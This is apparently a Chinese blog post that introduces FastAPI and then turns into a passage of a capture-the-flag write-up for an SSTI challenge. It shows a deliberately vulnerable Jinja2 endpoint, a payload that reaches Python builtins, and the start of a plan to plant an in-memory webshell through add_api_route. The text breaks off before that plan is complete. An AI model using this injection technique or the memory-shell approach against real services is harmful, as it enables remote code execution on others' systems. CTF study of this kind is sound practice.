什么是 FastAPI ?
fastapi文档 FastAPI - FastAPI (tiangolo.com)
FastAPI 是一个现代的、快速(高性能)的 Web 框架,用于构建 API。它基于 Python 3.6+ 的类型提示,使用 Starlette 作为其底层 ASGI 框架,并使用 Pydantic 进行数据验证。以下是一个简单的 FastAPI 示例
示例代码
from fastapi import FastAPI
app = FastAPI()
@app.get("/")
def read_root():
return {"Hello": "World"}
@app.get("/items/{item_id}")
def read_item(item_id: int, q: str = None):
return {"item_id": item_id, "q": q}
if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8000)
解释
-
导入 FastAPI
:
from fastapi import FastAPI
导入 FastAPI 框架。
-
创建 FastAPI 实例
:
app = FastAPI()
创建一个 FastAPI 应用实例。
-
定义路由
:
-
@app.get("/")
: 定义根路由的处理函数,响应 HTTP GET 请求。
-
read_root()
: 根路由处理函数,返回一个 JSON 响应
{"Hello": "World"}
。
-
@app.get("/items/{item_id}")
: 定义带路径参数的路由。
-
read_item(item_id: int, q: str = None)
: 处理路径参数
item_id
和可选的查询参数
q
,返回 JSON 响应。
运行应用
:
if __name__ == "__main__": import uvicorn uvicorn.run(app, host="0.0.0.0", port=8000)
使用 Uvicorn 运行应用,监听 8000 端口。
运行应用
保存代码为
main.py
,然后运行以下命令启动 FastAPI 应用:
uvicorn main:app --reload
访问 API
文档
FastAPI 会自动生成 API 文档,你可以通过以下 URL 访问:
这就是 FastAPI 的基本用法!
巅峰极客2024 GoldenHornKing
源码如下
import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after
# Decorator to add a timeout to async functions
def timeout_after(timeout: int = 1):
def decorator(func):
@functools.wraps(func)
async def wrapper(*args, **kwargs):
with fail_after(timeout):
return await func(*args
, **kwargs)
return wrapper
return decorator
# Initialize FastAPI app
app = FastAPI()
access = False
# Set up Jinja2 template directory
_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)
@app.get("/")
@timeout_after(1)
async def index():
# Read and return the content of the current file
return open(__file__, 'r').read()
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
print(calc_req)
template = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}")
rendered_template = template.render({"app": app})
return rendered_template
return "fight"
# Run the application with Uvicorn server
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8080)
分析
if的条件判断access这个变量是否为true,如果为true就不渲染了,所以只能渲染一次,并且渲染是不能有数字的
这里为了本地方便测试,修改渲染一次的限制
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
print(calc_req)
template = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}")
rendered_template = template.render({"app": app})
return rendered_template
由于不能有数字,我们直接从
lipsum
出发得到
__builtins__
payload:
/calc?calc_req=lipsum.__globals__.__builtins__
但是目标不出网且无回显,所以我们需要写内存马
寻找Fastapi框架的添加路由函数
本题用的是
fastapi
的web框架而不是
flask
,需要自己寻找可用方法
通过寻找我们发现添加路由方法
add_route
,
add_middleware
,
add_route
,
add_api_route
通过搜索发现
add_api_route
可以用来自定义创建路由
示例如下:
from fastapi import FastAPI, APIRouter
class Hello:
def __init__(self, name: str):
self.name = name
self.router = APIRouter()
self.router.add_api_route("/hello", self.hello, methods=["GET"])
def hello(self):
return {"Hello": self.name}
app = FastAPI()
hello = Hello("World")
app.include_router(hello